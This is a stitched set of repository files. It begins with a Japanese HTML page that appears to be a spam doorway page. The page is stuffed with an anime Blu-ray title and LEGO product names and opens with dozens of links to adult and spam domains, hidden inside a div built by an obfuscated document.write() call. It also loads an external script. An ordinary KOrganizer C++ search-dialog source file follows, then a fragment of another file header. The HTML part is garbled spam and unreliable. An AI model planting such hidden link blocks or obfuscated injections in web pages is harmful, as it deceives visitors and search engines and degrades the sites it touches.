<a class="z7z8z9z6" href="http://www.zanpianba.com/">http://www.zanpianba.com/</a>
<a class="z7z8z9z6" href="http://www.shoujimaopian.com/">http://www.shoujimaopian.com/</a>
<a class="z7z8z9z6" href="http://www.gaoqingkanpian.com/">http://www.gaoqingkanpian.com/</a>
<a class="z7z8z9z6" href="http://www.kuaibokanpian.com/">http://www.kuaibokanpian.com/</a>
<a class="z7z8z9z6" href="http://www.baidukanpian.com/">http://www.baidukanpian.com/</a>
<a class="z7z8z9z6" href="http://www.wwwren99com.top/">http://www.wwwren99com.top/</a>
<a class="z7z8z9z6" href="http://www.wwwdgshunyuancom.top/">http://www.wwwdgshunyuancom.top/</a>
<a class="z7z8z9z6" href="http://www.xianfengziyuancom.top/">http://www.xianfengziyuancom.top/</a>
<a class="z7z8z9z6" href="http://www.www96yyxfcom.top/">http://www.www96yyxfcom.top/</a>
<a class="z7z8z9z6" href="http://www.www361dywnet.top/">http://www.www361dywnet.top/</a>
<a class="z7z8z9z6" href="http://www.wwwbambootechcc.top/">http://www.wwwbambootechcc.top/</a>
<a class="z7z8z9z6" href="http://www.wwwluoqiqicom.top/">http://www.wwwluoqiqicom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwyyxfnrzcom.top/">http://www.wwwyyxfnrzcom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwzhengdadycom.top/">http://www.wwwzhengdadycom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwyewaishengcuncom.top/">http://www.wwwyewaishengcuncom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwcong3win.top/">http://www.wwwcong3win.top/</a>
<a class="z7z8z9z6" href="http://www.wwwmh-oemcn.top/">http://www.wwwmh-oemcn.top/</a>
<a class="z7z8z9z6" href="http://www.henhen168com.top/">http://www.henhen168com.top/</a>
<a class="z7z8z9z6" href="http://www.wwwhztuokuncom.top/">http://www.wwwhztuokuncom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwyasyzxcn.top/">http://www.wwwyasyzxcn.top/</a>
<a class="z7z8z9z6" href="http://www.www9hkucom.top/">http://www.www9hkucom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwguokrcom.top/">http://www.wwwguokrcom.top/</a>
<a class="z7z8z9z6" href="http://www.avhhhhcom.top/">http://www.avhhhhcom.top/</a>
<a class="z7z8z9z6" href="http://www.shouyouaipaicom.top/">http://www.shouyouaipaicom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwdouyutvcom.top/">http://www.wwwdouyutvcom.top/</a>
<a class="z7z8z9z6" href="http://www.bbsptbuscom.top/">http://www.bbsptbuscom.top/</a>
<a class="z7z8z9z6" href="http://www.miphonetgbuscom.top/">http://www.miphonetgbuscom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwtjkunchengcom.top/">http://www.wwwtjkunchengcom.top/</a>
<a class="z7z8z9z6" href="http://www.lolboxduowancom.top/">http://www.lolboxduowancom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwtaoyuancncom.top/">http://www.wwwtaoyuancncom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwngffwcomcn.top/">http://www.wwwngffwcomcn.top/</a>
<a class="z7z8z9z6" href="http://www.wwwqingzhouwanhecom.top/">http://www.wwwqingzhouwanhecom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwckyygcn.top/">http://www.wwwckyygcn.top/</a>
<a class="z7z8z9z6" href="http://www.wwwcdcjzcn.top/">http://www.wwwcdcjzcn.top/</a>
<a class="z7z8z9z6" href="http://www.m6downnet.top/">http://www.m6downnet.top/</a>
<a class="z7z8z9z6" href="http://www.msmzycom.top/">http://www.msmzycom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwcaobolcom.top/">http://www.wwwcaobolcom.top/</a>
<a class="z7z8z9z6" href="http://www.m3533com.top/">http://www.m3533com.top/</a>
<a class="z7z8z9z6" href="http://www.gmgamedogcn.top/">http://www.gmgamedogcn.top/</a>
<a class="z7z8z9z6" href="http://www.m289com.top/">http://www.m289com.top/</a>
<a class="z7z8z9z6" href="http://www.jcbnscom.top/">http://www.jcbnscom.top/</a>
<a class="z7z8z9z6" href="http://www.www99daocom.top/">http://www.www99daocom.top/</a>
<a class="z7z8z9z6" href="http://www.3gali213net.top/">http://www.3gali213net.top/</a>
<a class="z7z8z9z6" href="http://www.wwwmeidaiguojicom.top/">http://www.wwwmeidaiguojicom.top/</a>
<a class="z7z8z9z6" href="http://www.msz1001net.top/">http://www.msz1001net.top/</a>
<a class="z7z8z9z6" href="http://www.luyiluueappcom.top/">http://www.luyiluueappcom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwvcnnnet.top/">http://www.wwwvcnnnet.top/</a>
<a class="z7z8z9z6" href="http://www.wwwchaoaicaicom.top/">http://www.wwwchaoaicaicom.top/</a>
<a class="z7z8z9z6" href="http://www.mcnmocom.top/">http://www.mcnmocom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwqiuxia88com.top/">http://www.wwwqiuxia88com.top/</a>
<a class="z7z8z9z6" href="http://www.www5253com.top/">http://www.www5253com.top/</a>
<a class="z7z8z9z6" href="http://www.wwwhaichuanwaiyucom.top/">http://www.wwwhaichuanwaiyucom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwulunarcn.top/">http://www.wwwulunarcn.top/</a>
<a class="z7z8z9z6" href="http://www.wwwvideo6868com.top/">http://www.wwwvideo6868com.top/</a>
<a class="z7z8z9z6" href="http://www.wwwythmbxgcom.top/">http://www.wwwythmbxgcom.top/</a>
<a class="z7z8z9z6" href="http://www.gakaycom.top/">http://www.gakaycom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwhf1zcom.top/">http://www.wwwhf1zcom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwkrd17net.top/">http://www.wwwkrd17net.top/</a>
<a class="z7z8z9z6" href="http://www.qqav4444net.top/">http://www.qqav4444net.top/</a>
<a class="z7z8z9z6" href="http://www.www5a78com.top/">http://www.www5a78com.top/</a>
<a class="z7z8z9z6" href="http://www.hztuokuncom.top/">http://www.hztuokuncom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwqqqav7979net.top/">http://www.wwwqqqav7979net.top/</a>
<a class="z7z8z9z6" href="http://www.sscaoacom.top/">http://www.sscaoacom.top/</a>
<a class="z7z8z9z6" href="http://www.51yeyelu.info/">http://www.51yeyelu.info/</a>
<a class="z7z8z9z6" href="http://www.52luyilu.info/">http://www.52luyilu.info/</a>
<a class="z7z8z9z6" href="http://www.52yeyelu.info/">http://www.52yeyelu.info/</a>
<a class="z7z8z9z6" href="http://www.91yeyelu.info/">http://www.91yeyelu.info/</a>
<a class="z7z8z9z6" href="http://www.yeyelupic.info/">http://www.yeyelupic.info/</a>
<script>document.write ('</' + 'di' + 'v c' + 'l' + 'ass=' + '"' + 'z7z' + '8z9z' + '6' + '"' + '>');</script>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html class="no-js" lang="ja">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>BD Panty&Stocking with Garterbelt(パンティ&ストッキングwithガーターベルト) Blu-ray 特装版 第2巻[角川書店]
</title>
<meta name="keywords" content="BD Panty&Stocking with Garterbelt(パンティ&ストッキングwithガーターベルト) Blu-ray 特装版 第2巻[角川書店]
,レゴ テクニック 42029 ピックアップトラック[レゴジャパン]" />
<meta name="description" content="BD Panty&Stocking with Garterbelt(パンティ&ストッキングwithガーターベルト) Blu-ray 特装版 第2巻[角川書店]
,レゴ ニンジャゴー 70750 ニンジャマシン DB X[レゴジャパン],レゴ スーパー?ヒーローズ 76032 アベンジャーズ クインジェットのシティーチェース[レゴジャパン]" />
<meta http-equiv="content-script-type" content="text/javascript">
<script type="text/javascript" src="./thebey03.js"></script>p-31278.html"
<link rel="stylesheet" type="text/css" href="http://static.teacup.com/common/style/bbs_top.css?20151016" />
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta property="og:url" content="http://www.teacup.com/"/>
<meta property="og:type" content=website />
<meta property="og:title" content="BD Panty&Stocking with Garterbelt(パンティ&ストッキングwithガーターベルト) Blu-ray 特装版 第2巻[角川書店]
" />
<meta property="og:image" content="http://static.teacup.com/common/ogimg_bbs.png" />
<meta property="og:description" content="BD Panty&Stocking with Garterbelt(パンティ&ストッキングwithガーターベルト) Blu-ray 特装版 第2巻[角川書店]
,75918 レゴ ジュラシックワールド T-レックスの追跡[レゴジャパン],レゴテクニック 42038 アークティック?トラック[レゴジャパン]" />
<meta name="copyright" content="Copyright All Rights Reserved. " />
>
</head>
<body>
<!-- Main page header -->
<header class="container">
<!-- Main page logo -->
<h1>
<a id="logo" href="" title="BD Panty&Stocking with Garterbelt(パンティ&ストッキングwithガーターベルト) Blu-ray 特装版 第2巻[角川書店]
">
<img class="logo_l" src="../img/logo.png" width="184px" height="54px" />
</h1>
<!-- Alternative navigation -->
<nav>
<ul>
<li><a href=""><span class="awe-caret-right"></span>レンタル掲示板</a></li>
<li><a href=""><span class="awe-caret-right"></span>ブログAutopage</a></li>
<!--li><a href="http://media.teacup.com"><span class="awe-caret-right"></span>コラム(仮)</a></li-->
<li><a href=""><span class="awe-caret-right"></span>お問合せ</a></li>
</ul>
</nav>
<!-- /Alternative navigation -->
</header>
<!-- /Main page header -->
<!-- Main page container -->
<section class="container" role="main">
<!-- Left (navigation) side -->
<div class="navigation-block">
<p><span class="awe-share-alt"></span> 新規作成ご案内はこちらから<br/>
<button class="btn btn-large btn-block btn-primary" type="button" onClick="javascript:top.location.href=''"><strong>掲示板作成案内</strong></a></button>
</p>
<p><span class="awe-signin"></span> 管理画面はこちら<br/>
<button class="btn btn-large btn-block" type="button" onClick="javascript:window.open('http://my.teacup.com/login')"><strong>
<gcse:searchbox-only></gcse:searchbox-only>
<br/>
<!-- Main navigation -->
<nav class="main-navigation" role="navigation">
<ul>
<li class="current"><a href="http://factory.aedew.com/images/Chershire/02021859288cd.html">http://factory.aedew.com/images/Chershire/02021859288cd.html</a></li>
<li><a href="" class="no-submenu"><span class="awe-pencil"></span>ご利用案内?新規作成</a></li>
<li><a href=""><span class="awe-info-sign"></span>BD Panty&Stocking with Garterbelt(パンティ&ストッキングwithガーターベルト) Blu-ray 特装版 第2巻[角川書店]
</a></li>
<li><a href=""><span class="awe-envelope-alt"></span>レゴ ロード?オブ?ザ?リング 9473 モリア鉱山[レゴジャパン]</a>
<ul>
<li><a href="">よくある質問</a></li>
<li><a href="http://factory.aedew.com/images/Chershire/02021834877hp.html">http://factory.aedew.com/images/Chershire/02021834877hp.html</a></li>
</ul>
</li>
<li><a href="http://www.teacup.com/index/kiyaku" class="no-submenu"><span class="awe-book"></span>利用規約</a></li>
<br/>
<a class="thumbnail" href="http://privacymark.jp"><img src="http://static.teacup.com/common/img/bnr_pmark.gif" alt="" width="85" height="85"></a>
<br />
<a href="http://www.gmo.media/" target="_blank" class="thumbnail"><img src="http://static.teacup.com/common/img/assets/bnr_gmomedia.png" alt="" width="200" height="100"></a>
</ul>
</nav>
<!-- /Main navigation -->
</div>
<!-- Left (navigation) side -->
<!-- Right (content) side -->
<div class="content-block" role="main">
<!-- MAIN CONTENT -->
<!-- Hero unit -->
<!--
<div class="hero-unit">
<h2>1997年から利用されているらくらくシンプル掲示板!</h2>
<h1>無料レンタル掲示板</h1>
<button class="btn btn-xlarge btn-primary" type="button"><span class="awe-share-alt"></span> 今すぐ無料で掲示板を作成する</button>
</div>
<!-- /Hero unit -->
<!-- Grid row -->
<div class="row">
<!-- Data block -->
<article class="span12 data-block raw">
<div class="hero-unit">
<h1>BD Panty&Stocking with Garterbelt(パンティ&ストッキングwithガーターベルト) Blu-ray 特装版 第2巻[角川書店]
</h1>
<p>レゴ ロード?オブ?ザ?リング 79008 海賊船アンブッシュ[レゴジャパン]。<br/>
BD Panty&Stocking with Garterbelt(パンティ&ストッキングwithガーターベルト) Blu-ray 特装版 第2巻[角川書店]
。</p>
<h3><span class="awe-pencil"></span> <a href="" class="no-submenu">ご利用案内?新規作成はこちら</a></h3>
</div>
</article>
<!-- /Data block -->
</div>
<!-- /Grid row -->
<!-- Page header -->
<article class="page-header">
<h1><a href="" title="BD Panty&Stocking with Garterbelt(パンティ&ストッキングwithガーターベルト) Blu-ray 特装版 第2巻[角川書店]
"><span class="awe-info-sign"></span> BD Panty&Stocking with Garterbelt(パンティ&ストッキングwithガーターベルト) Blu-ray 特装版 第2巻[角川書店]
</a></h1>
<p><a href="">BD Panty&Stocking with Garterbelt(パンティ&ストッキングwithガーターベルト) Blu-ray 特装版 第2巻[角川書店]
</a></p>
<p><a href="http://factory.aedew.com/images/Chershire/02021814379oh.html">http://factory.aedew.com/images/Chershire/02021814379oh.html</a></p>
<p><a href="">新表示タイプのフォントを修正しました(2015年10月05日)</a></p>
</article>
<!-- /Page header -->
<!--
<hr>
<h2><span class="awe-bullhorn"></span> teacup.関連サービス【広告】</h2>
<script src='http://a.t.webtracker.jp/js/a.js' type='text/javascript' charset='utf-8'></script>
<div class="ad_frame sid_9ac24afa6834ead851767d4a1b37f5a3d386605484acb546 container_div color_#0000CC-#444444-#FFFFFF-#0000FF-#009900"></div>
<hr>
-->
<!-- キャンペーン -->
<!-- /キャンペーン -->
<a name="latestpost"></a>
<!-- Grid row -->
<div class="row">
<!-- Data block -->
<article class="span12 data-block decent">
<div class="data-container">
<header>
<h2><span class="awe-pencil"></span> 掲示板新着投稿</h2>
</header>
<section>
<h3>BD Panty&Stocking with Garterbelt(パンティ&ストッキングwithガーターベルト) Blu-ray 特装版 第2巻[角川書店]
</h3>
<table class="table table-hover">
<!--掲示板最新 開始-->
<tr>
<td>2016/01/15 15:54</td>
<td> </td>
<td><a href="" target="_blank">ふーむ - ■■原付板の掲示板■■</a></td>
</tr>
<tr>
<td>2016/01/15 15:54</td>
<td> </td>
<td><a href="http://factory.aedew.com/images/Chershire/02021830680vl.html">http://factory.aedew.com/images/Chershire/02021830680vl.html</a></td>
</tr>
<tr>
<td>2016/01/15 15:53</td>
<td> </td>
<td><a href="" target="_blank">本日のアカデミー - 内灘FC?ACADEMY</a></td>
</tr>
<tr>
<td>2016/01/15 15:53</td>
<td> </td>
<td><a href="" target="_blank">レゴ ホビット 79010 ゴブリン王の戦い[レゴジャパン]</a></td>
</tr>
<tr>
<td>2016/01/15 15:53</td>
<td> </td>
<td><a href="" target="_blank">投稿 - yahoo.co.jp</a></td>
</tr>
<tr>
<td>2016/01/15 15:53</td>
<td> </td>
<td><a href="http://factory.aedew.com/images/Chershire/02021802713ic.html">http://factory.aedew.com/images/Chershire/02021802713ic.html</a></td>
</tr>
<tr>
<td>2016/01/15 15:52</td>
<td> </td>
<td><a href="" target="_blank">Re: (無題) - お笑い芸人 相方募集掲示板</a></td>
</tr>
<tr>
<td>2016/01/15 15:52</td>
<td> </td>
<td><a href="" target="_blank">BD Panty&Stocking with Garterbelt(パンティ&ストッキングwithガーターベルト) Blu-ray 特装版 第2巻[角川書店]
</a></td>
</tr>
<!--掲示板最新 終了-->
</table>
<!-- Data block -->
<!--
<section>
<div class="pagination">
<ul>
<li class="disabled"><a href="#"><span class="awe-arrow-left"></span> 前へ</a></li>
<li class="active"><a href="#">1</a></li>
<li><a href="#">2</a></li>
<li><a href="#">3</a></li>
<li><a href="#">次へ <span class="awe-arrow-right"></span></a></li>
</ul>
</div>
</section>
-->
<!-- /Data block -->
</section>
</div>
</article>
<!-- /Data block -->
</div>
<!-- /Grid row -->
<!-- Grid row -->
<div class="row">
<!-- Data block -->
<article class="span12 data-block decent">
<div class="data-container">
<header>
<h2><span class="awe-th-list"></span> BD Panty&Stocking with Garterbelt(パンティ&ストッキングwithガーターベルト) Blu-ray 特装版 第2巻[角川書店]
</h2>
</header>
<section>
<div class="row-fluid">
<div class="span3">
<h3>
<span class="fam-images"></span><a href="">趣味</a>
</h3>
<br/>
</div>
<div class="span3">
<h3>
<span class="fam-rainbow"></span><a href="http://factory.aedew.com/images/Chershire/02021839255sz.html">http://factory.aedew.com/images/Chershire/02021839255sz.html</a>
</h3>
<br/>
</div>
<div class="span3">
<h3>
<span class="fam-flag-purple"></span><a href="">スポーツ</a>
</h3>
<br/>
</div>
<div class="span3">
<h3>
<span class="fam-music"></span><a href="">音楽</a>
</h3>
<br/>
</div>
</div>
</section>
<section>
<div class="row-fluid">
<div class="span3">
<h3>
<span class="fam-film"></span><a href="">75019 レゴ スター?ウォーズ AT-TE[レゴジャパン]</a>
</h3>
<br/>
</div>
<div class="span3">
<h3>
<span class="fam-user-red"></span><a href="">タレント/俳優/歌手</a>
</h3>
<br/>
</div>
<div class="span3">
<h3>
<span class="fam-heart"></span><a href="">恋愛/相談/占い</a>
</h3>
<br/>
</div>
<div class="span3">
<h3>
<span class="fam-layout-content"></span><a href="http://factory.aedew.com/images/Chershire/02021843049br.html">http://factory.aedew.com/images/Chershire/02021843049br.html</a>
</h3>
<br/>
</div>
</div>
</section>
<section>
<div class="row-fluid">
<div class="span3">
<h3>
<span class="fam-emoticon-smile"></span><a href="http://factory.aedew.com/images/Chershire/02021732866ks.html">http://factory.aedew.com/images/Chershire/02021732866ks.html</a>
</h3>
<br/>
</div>
<div class="span3">
<h3>
<span class="fam-picture"></span><a href="">PC/ネット/モバイル</a>
</h3>
<br/>
</div>
<div class="span3">
<h3>
<span class="fam-cake"></span><a href="">グルメ&ドリンク</a>
</h3>
<br/>
</div>
<div class="span3">
<h3>
<span class="fam-star"></span><a href="">レゴ スター?ウォーズ 75053 ゴースト[レゴジャパン]</a>
</h3>
<br/>
</div>
</div>
</section>
<section>
<div class="row-fluid">
<div class="span3">
<h3>
<span class="fam-house"></span><a href="http://factory.aedew.com/images/Chershire/02021724532hq.html">http://factory.aedew.com/images/Chershire/02021724532hq.html</a>
</h3>
<br/>
</div>
<div class="span3">
<h3>
<span class="fam-lightbulb-off"></span><a href="">健康/医療/介護</a>
</h3>
<br/>
</div>
<div class="span3">
<h3>
<span class="fam-building"></span><a href="">子供/学校/教育</a>
</h3>
<br/>
</div>
<div class="span3">
<h3>
<span class="fam-page-white-text"></span><a href="">レゴ ウルトラ?エージェント 70165 ウルトラ?エージェント?ミッション本部[レゴジャパン]</a>
</h3>
<br/>
</div>
</div>
</section>
<section>
<div class="row-fluid">
<div class="span3">
<h3>
<span class="fam-chart-pie"></span><a href="http://factory.aedew.com/images/Chershire/02021711985xa.html">http://factory.aedew.com/images/Chershire/02021711985xa.html</a>
</h3>
<br/>
</div>
<div class="span3">
<h3>
<span class="fam-anchor"></span><a href="">BD Panty&Stocking with Garterbelt(パンティ&ストッキングwithガーターベルト) Blu-ray 特装版 第2巻[角川書店]
</a>
</h3>
<br/>
</div>
</div>
</section>
</div>
</article>
<!-- /Data block -->
</div>
<!-- /Grid row -->
<br/>
<!-- Grid row -->
<div class="row"><br/>
<!-- Data block -->
<article class="span3 alert-white">
<div class="data-container">
<header>
<h4>BD Panty&Stocking with Garterbelt(パンティ&ストッキングwithガーターベルト) Blu-ray 特装版 第2巻[角川書店]
</h4>
</header>
<section>
<ul class="checkmark">
<li><a href="http://factory.aedew.com/images/Chershire/02021708984sx.html">http://factory.aedew.com/images/Chershire/02021708984sx.html</a></li>
<li><a href="">掲示板</a></li>
<li><a href="">お知らせ</a></li>
</ul>
</section>
</div>
</article>
<!-- /Data block -->
<!-- Data block -->
<article class="span3 alert-white">
<div class="data-container">
<header>
<h4>ブログAutoPage</h4>
</header>
<section>
<ul class="checkmark">
<li><a href="http://factory.aedew.com/images/Chershire/02021711913zg.html">http://factory.aedew.com/images/Chershire/02021711913zg.html</a></li>
<li><a href="http://factory.aedew.com/images/Chershire/02021824442ev.html">http://factory.aedew.com/images/Chershire/02021824442ev.html</a></li>
</ul>
</section>
</div>
</article>
<!-- /Data block -->
<!-- Data block -->
<article class="span3 alert-white">
<div class="data-container">
<header>
<h4>BD Panty&Stocking with Garterbelt(パンティ&ストッキングwithガーターベルト) Blu-ray 特装版 第2巻[角川書店]
</h4>
</header>
<section>
<ul class="checkmark">
<li><a href="">よくある質問?ヘルプ</a></li>
<li><a href="">一覧</a></li>
</ul>
</section>
</div>
</article>
<!-- /Data block -->
<!-- Data block -->
<article class="span3 alert-white">
<div class="data-container">
<header>
<h4>その他</h4>
</header>
<section>
<ul class="checkmark">
<li><a href="">利用規約</a></li>
<li><a href="">プライバシーステートメント</a></li>
<li><a href="">携帯にURL送信</a></li>
</ul>
</section>
</div>
</article>
<!-- /Data block -->
</div>
<!-- /Grid row -->
<!-- GMOグループフッター -->
<div id="gmofooter">
<div class="gmofooter">
<div class="gmofooter_header">
</div>
<div class="gmofooter_relatedservice">
<div class="gmofooter_heading">関連サービス</div>
<div class="gmofooter_relatedservicelist">
<ul>
<li>
<dl><dt><a target="_blank" href="http://www.freeml.com/">メーリングリスト(ML)サービス</a></dt><dd>freeml</dd></dl>
<dl><dt><a target="_blank" href="http://www.yaplog.jp/">無料ブログサービス</a></dt><dd>ヤプログ!</dd></dl>
</li>
<li>
<dl><dt><a target="_blank" href="http://coordisnap.com/">ファッションコーディネートアプリ</a></dt><dd>CoordiSnap</dd></dl>
<dl><dt><a target="_blank" href="http://prcm.jp/">女の子のためのコミュニティ</a></dt><dd>prican</dd></dl>
</li>
<li>
<dl><dt><a target="_blank" href="">こだわりランキングサイト</a></dt><dd>ランキングシェア</dd></dl>
<dl><dt><a target="_blank" href="">ネット証券</a></dt><dd>クリック証券</dd></dl>
</li>
</ul>
</div>
</div>
</div>
</div>
</div>
<!-- /Right (content) side -->
</section>
<!-- /Main page container -->
<!-- Main page footer -->
<footer class="container">
<p>Copyright All Rights Reserved.</p>
<ul>
<li><a href="" class="">よくある質問(FAQ)</a></li>
<li><a href="http://factory.aedew.com/images/Chershire/02021741656ym.html">http://factory.aedew.com/images/Chershire/02021741656ym.html</a></li>
<li><a href="" class="">お問い合せ</a></li>
</ul>
<a href="" class="btn btn-primary btn-flat pull-right">Top ↑</a> </footer>
<!-- /Main page footer -->
<!-- GMOグループヘッダー -->
</body>
</html>
|
ForAEdesWeb/AEW2
|
images/Chershire/02021905601of.html
|
HTML
|
gpl-2.0
| 34,127
|
/*
This file is part of KOrganizer.
Copyright (c) 1998 Preston Brown <pbrown@kde.org>
Copyright (c) 2000,2001 Cornelius Schumacher <schumacher@kde.org>
Copyright (C) 2003-2004 Reinhold Kainhofer <reinhold@kainhofer.com>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License along
with this program; if not, write to the Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
As a special exception, permission is given to link this program
with any edition of Qt, and distribute the resulting executable,
without including the source code for Qt in the source distribution.
*/
#include "searchdialog.h"
#include "ui_searchdialog_base.h"
#include "calendarview.h"
#include "koglobals.h"
#include <calendarsupport/kcalprefs.h>
#include <calendarsupport/utils.h>
#include <calendarviews/list/listview.h>
#include <KMessageBox>
using namespace KOrg;
SearchDialog::SearchDialog( CalendarView *calendarview )
: KDialog( calendarview ),
m_ui( new Ui::SearchDialog ),
m_calendarview( calendarview )
{
setCaption( i18n( "Search Calendar" ) );
setModal( false );
QWidget *mainWidget = new QWidget( this );
m_ui->setupUi( mainWidget );
setMainWidget( mainWidget );
// Set nice initial start and end dates for the search
const QDate currDate = QDate::currentDate();
m_ui->startDate->setDate( currDate );
m_ui->endDate->setDate( currDate.addYears( 1 ) );
connect( m_ui->searchEdit, SIGNAL(textChanged(QString)),
this, SLOT(searchTextChanged(QString)) );
// Results list view
QVBoxLayout *layout = new QVBoxLayout;
layout->setMargin( 0 );
listView = new EventViews::ListView( m_calendarview->calendar(), this );
layout->addWidget( listView );
m_ui->listViewFrame->setLayout( layout );
connect( this, SIGNAL(user1Clicked()), SLOT(doSearch()) );
// Propagate edit and delete event signals from event list view
connect( listView, SIGNAL(showIncidenceSignal(Akonadi::Item)),
SIGNAL(showIncidenceSignal(Akonadi::Item)) );
connect( listView, SIGNAL(editIncidenceSignal(Akonadi::Item)),
SIGNAL(editIncidenceSignal(Akonadi::Item)) );
connect( listView, SIGNAL(deleteIncidenceSignal(Akonadi::Item)),
SIGNAL(deleteIncidenceSignal(Akonadi::Item)) );
readConfig();
setButtons( User1 | Cancel );
setDefaultButton( User1 );
setButtonGuiItem( User1,
KGuiItem( i18nc( "search in calendar", "&Search" ),
QLatin1String( "edit-find" ) ) );
setButtonToolTip( User1, i18n( "Start searching" ) );
showButtonSeparator( false );
}
SearchDialog::~SearchDialog()
{
writeConfig();
}
void SearchDialog::showEvent( QShowEvent *event )
{
Q_UNUSED( event );
m_ui->searchEdit->setFocus();
}
void SearchDialog::searchTextChanged( const QString &_text )
{
enableButton( KDialog::User1, !_text.isEmpty() );
}
void SearchDialog::doSearch()
{
QRegExp re;
re.setPatternSyntax( QRegExp::Wildcard ); // most people understand these better.
re.setCaseSensitivity( Qt::CaseInsensitive );
re.setPattern( m_ui->searchEdit->text() );
if ( !re.isValid() ) {
KMessageBox::sorry(
this,
i18n( "Invalid search expression, cannot perform the search. "
"Please enter a search expression using the wildcard characters "
"'*' and '?' where needed." ) );
return;
}
search( re );
listView->showIncidences( mMatchedEvents, QDate() );
if ( mMatchedEvents.isEmpty() ) {
m_ui->numItems->setText ( QString() );
KMessageBox::information(
this,
i18n( "No items were found that match your search pattern." ),
i18n( "Search Results" ),
QLatin1String( "NoSearchResults" ) );
} else {
m_ui->numItems->setText( i18np( "%1 item","%1 items", mMatchedEvents.count() ) );
}
}
void SearchDialog::updateView()
{
QRegExp re;
re.setPatternSyntax( QRegExp::Wildcard ); // most people understand these better.
re.setCaseSensitivity( Qt::CaseInsensitive );
re.setPattern( m_ui->searchEdit->text() );
if ( re.isValid() ) {
search( re );
} else {
mMatchedEvents.clear();
}
listView->showIncidences( mMatchedEvents, QDate() );
}
void SearchDialog::search( const QRegExp &re )
{
const QDate startDt = m_ui->startDate->date();
const QDate endDt = m_ui->endDate->date();
KCalCore::Event::List events;
KDateTime::Spec timeSpec = CalendarSupport::KCalPrefs::instance()->timeSpec();
if ( m_ui->eventsCheck->isChecked() ) {
events =
m_calendarview->calendar()->events(
startDt, endDt, timeSpec, m_ui->inclusiveCheck->isChecked() );
}
KCalCore::Todo::List todos;
if ( m_ui->todosCheck->isChecked() ) {
if ( m_ui->includeUndatedTodos->isChecked() ) {
KDateTime::Spec spec = CalendarSupport::KCalPrefs::instance()->timeSpec();
KCalCore::Todo::List alltodos = m_calendarview->calendar()->todos();
Q_FOREACH ( const KCalCore::Todo::Ptr &todo, alltodos ) {
Q_ASSERT( todo );
if ( ( !todo->hasStartDate() && !todo->hasDueDate() ) || // undated
( todo->hasStartDate() &&
( todo->dtStart().toTimeSpec( spec ).date() >= startDt ) &&
( todo->dtStart().toTimeSpec( spec ).date() <= endDt ) ) || //start dt in range
( todo->hasDueDate() &&
( todo->dtDue().toTimeSpec( spec ).date() >= startDt ) &&
( todo->dtDue().toTimeSpec( spec ).date() <= endDt ) ) || //due dt in range
( todo->hasCompletedDate() &&
( todo->completed().toTimeSpec( spec ).date() >= startDt ) &&
( todo->completed().toTimeSpec( spec ).date() <= endDt ) ) ) {//completed dt in range
todos.append( todo );
}
}
} else {
QDate dt = startDt;
while ( dt <= endDt ) {
todos += m_calendarview->calendar()->todos( dt );
dt = dt.addDays( 1 );
}
}
}
KCalCore::Journal::List journals;
if ( m_ui->journalsCheck->isChecked() ) {
QDate dt = startDt;
while ( dt <= endDt ) {
journals += m_calendarview->calendar()->journals( dt );
dt = dt.addDays( 1 );
}
}
mMatchedEvents.clear();
KCalCore::Incidence::List incidences =
Akonadi::ETMCalendar::mergeIncidenceList( events, todos, journals );
Q_FOREACH ( const KCalCore::Incidence::Ptr &ev, incidences ) {
Q_ASSERT( ev );
Akonadi::Item item = m_calendarview->calendar()->item( ev->uid() );
if ( m_ui->summaryCheck->isChecked() ) {
if ( re.indexIn( ev->summary() ) != -1 ) {
mMatchedEvents.append( item );
continue;
}
}
if ( m_ui->descriptionCheck->isChecked() ) {
if ( re.indexIn( ev->description() ) != -1 ) {
mMatchedEvents.append( item );
continue;
}
}
if ( m_ui->categoryCheck->isChecked() ) {
if ( re.indexIn( ev->categoriesStr() ) != -1 ) {
mMatchedEvents.append( item );
continue;
}
}
if ( m_ui->locationCheck->isChecked() ) {
if ( re.indexIn( ev->location() ) != -1 ) {
mMatchedEvents.append( item );
continue;
}
}
if ( m_ui->attendeeCheck->isChecked() ) {
Q_FOREACH ( const KCalCore::Attendee::Ptr &attendee, ev->attendees() ) {
if ( re.indexIn( attendee->fullName() ) != -1 ) {
mMatchedEvents.append( item );
break;
}
}
}
}
}
void SearchDialog::readConfig()
{
KConfigGroup group( KOGlobals::self()->config(), QLatin1String( "SearchDialog" ) );
const QSize size = group.readEntry( "Size", QSize( 775, 600 ) );
if ( size.isValid() ) {
resize( size );
}
}
void SearchDialog::writeConfig()
{
KConfigGroup group( KOGlobals::self()->config(), QLatin1String( "SearchDialog" ) );
group.writeEntry( "Size", size() );
group.sync();
}
|
kolab-groupware/kdepim
|
korganizer/searchdialog.cpp
|
C++
|
gpl-2.0
| 8,329
|
/*
* PNEDSkyboxPanel.cpp
*
* Description :
* PNEDSkyboxPanel definition
*
* Copyright (C) 2005 PAVILLON-NOIR TEAM, http://pavillon-noir.org
* This software has been written in EPITECH <http://www.epitech.net>
